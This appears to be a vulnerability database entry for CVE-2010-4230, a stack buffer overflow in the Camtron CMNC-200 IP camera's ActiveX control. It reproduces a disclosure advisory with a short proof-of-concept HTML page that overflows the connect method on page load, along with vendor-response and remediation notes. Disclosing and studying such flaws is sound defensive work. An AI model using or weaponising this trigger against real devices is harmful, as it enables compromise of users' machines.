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Camtron CMNC-200 IP Camera ActiveX Buffer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 18 Views

Buffer Overflow in Camtron CMNC-200 IP Camera ActiveX Control CVE-2010-4230 vulnerabilit

Related
Code
ReporterTitlePublishedViews
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Circl
CVE-2010-4230
13 Nov 201000:00
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CVE
CVE-2010-4230
16 Nov 201023:00
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Cvelist
CVE-2010-4230
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Exploit DB
Camtron CMNC-200 IP Camera - ActiveX Buffer Overflow
13 Nov 201000:00
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EUVD
EUVD-2010-4204
7 Oct 202500:30
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13 Nov 201000:00
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NVD
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12 Nov 201000:00
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17 Nov 201001:00
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TWSL2010-006: Multiple Vulnerabilities in Camtron CMNC-200 IP Camera
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Rows per page

                                                Finding 1: Buffer Overflow in ActiveX Control
CVE: CVE-2010-4230

The CMNC-200 IP Camera ActiveX control identified by
CLSID {DD01C8CA-5DA0-4B01-9603-B7194E561D32} is vulnerable
to a stack overflow on the first argument of the connect method.
The vulnerability can be used to set the EIP register,
allowing a reliable exploitation.

The example code below triggers the vulnerability.

<html>
<head><title>IPcam POC</title>
<script>
function Check(){
    var bf1 = 'A';
    while (bf1.length <= 6144) bf1 = bf1 + 'A';
    obj.connect(bf1,"BBBB","CCCC");
}
</script>
</head>
<body onload=" Check();">
<object classid="clsid:DD01C8CA-5DA0-4B01-9603-B7194E561D32"
id="obj">
</object>
</html></body>

Vendor Response:
No response received.

Remediation Steps:
No patch currently exists for this issue. To limit exposure,
network access to these devices should be limited to authorized
personnel through the use of Access Control Lists and proper
network segmentation.
                              

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